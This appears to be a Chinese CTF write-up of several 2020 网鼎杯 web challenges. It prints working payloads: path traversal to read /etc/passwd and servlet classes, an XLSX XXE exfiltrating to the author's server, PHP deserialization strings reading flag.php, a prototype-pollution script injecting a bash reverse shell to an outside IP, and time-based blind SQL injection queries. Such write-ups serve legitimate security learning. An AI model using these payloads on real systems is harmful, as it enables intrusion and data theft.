[网鼎杯 2020 青龙组]filejava
java题 也是我第一次做出java
一个利用xlsx xxe的题。卡了半天是在回显上,自己的VPS是windows。。。。
上传后发现有file参数,猜测存在任意文件下载/读取,
可以成功读到etc/passwd,因为是java题,读一下WEB-INF/web.xml
根据文件读一下相应的class
../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
CVE-2019-12415
参考到:https://misakikata.github.io/2019/01/%E5%88%A9%E7%94%A8EXCEL%E6%96%87%E4%BB%B6%E8%BF%9B%E8%A1%8CXXE%E6%96%87%E4%BB%B6%E6%94%BB%E5%87%BB/
随便搜一下就有很多利用方式
这里直接写了
把excel改成zip
修改content_types文件插入xxe代码并指向自己的vps
注意在源码中:
所以我们的文件名必须是excel-xxxxx的格式
在vps上建立file.dtd文件,写入xxe代码并回显给监听的端口
然后上传excel文件,在vps监听6666端口就有flag了
[网鼎杯 2020 青龙组]AreUSerialz
反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: ";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
链子简单,直接贴了
需要绕过is_valid()
函数,因为protected
类型的属性的序列化字符串包含不可见字符\00
,会被is_valid()
函数给ban掉。
php7.1+版本对属性类型不敏感,所以本地序列化就直接用public
就可以绕过了
读路径/proc/self/cmdline
得到配置文件路径
/web/config/httpd.conf
发现在web/html
在BUU,直接读flag.php就可以一键获得flag。
赛后还发现了一吨的新方法
将不可见字符\00
改成空格也可以
这种方式可以绕过
#?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:10:"\000*\000content";N;}#?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";N;}
[网鼎杯 2020 青龙组]Boom
前面都好算,最后这个大方程直接python sympy库秒了
import sympy
x = sympy.symbols("x")
a = sympy.solve([x*x+x-7943722218936282],[x])
print(a)
解方程就行
[网鼎杯 2020 青龙组]notes
是一个原型链污染的洞
<span class="hljs-keyword">let</span> id = req.body.id;
<span class="hljs-keyword">let</span> author = req.body.author;
<span class="hljs-keyword">let</span> enote = req.body.raw;
<span class="hljs-keyword">if</span> (id && author && enote) {
notes.edit_note(id, author, enote);
edit_note(id, author, raw) {
undefsafe(<span class="hljs-keyword">this</span>.note_list, id + <span class="hljs-string">'.author'</span>, author);
undefsafe(<span class="hljs-keyword">this</span>.note_list, id + <span class="hljs-string">'.raw_note'</span>, raw);
}
这里先接受了post的一个author和raw和id
然后传入Edit_note函数。这里使用了undefsafe函数。
如果id传为为__proto__
就存在参数链污染
借一下guoke师傅的脚本
<span class="hljs-keyword">import</span> requests
a = {<span class="hljs-string">'raw'</span>: <span class="hljs-string">'bash -i >& /dev/tcp/174.1.59.177/7000 0>&1'</span>, <span class="hljs-string">'id'</span>: <span class="hljs-string">'__proto__'</span>, <span class="hljs-string">'author'</span>: <span class="hljs-string">'test'</span>}
url = <span class="hljs-string">"http://f13d0fxixu474aad61123468000b395fba21a904678b4e4a.cloudgame2.ichunqiu.com:8080/"</span>
<span class="hljs-built_in">print</span>(requests.post(url+<span class="hljs-string">"edit_note"</span>,json=a).text);
<span class="hljs-built_in">print</span>(requests.get(url+<span class="hljs-string">"status"</span>).text);
所以直接反弹一个shell到vps上,读取根目录的flag即可
[网鼎杯 2020 青龙组]trace
是一个注入的题目,测试了一会儿,发现过滤了information
使用insert注入发现可以sleep。所以构造查询
',sleep(1))%23
然后尝试构造数据库长度:
',sleep(database()))%23
睡了三秒,盲猜ctf
因为过滤了information库,尝试使用sys库代替,发现一直返回mysql error。而且在测试过程中,发现每次环境只能接受20句查询,如果多了就不会继续执行了
flag一般最少32位,使用无列名注入也无法注入出来。就卡到这里了
赛后问了一下p3rh4ps师傅,他给了我这样的语句
"',exp(if((ascii(mid((select group_concat(a) from (select 1,2 as a union select * from flag)c),{},1))={}),sleep(7),100000)+10000))#"
中间部分是正常的ascii码比较,而最终会让mysql报错,导致语句不能插入到查询次数中,完成时间盲注(NBNBNBN)
114师傅是这样的语句:
if(ascii(substr((select 2
from (select 1,2 union select * from flag limit 1,1)x),1,1))=102, sleep(1),pow(999,999))
思路是一样的,让mysql报错,导致语句不能插入到查询次数中,完成时间盲注
赛后复现了下,学到了新的思路
师傅们tql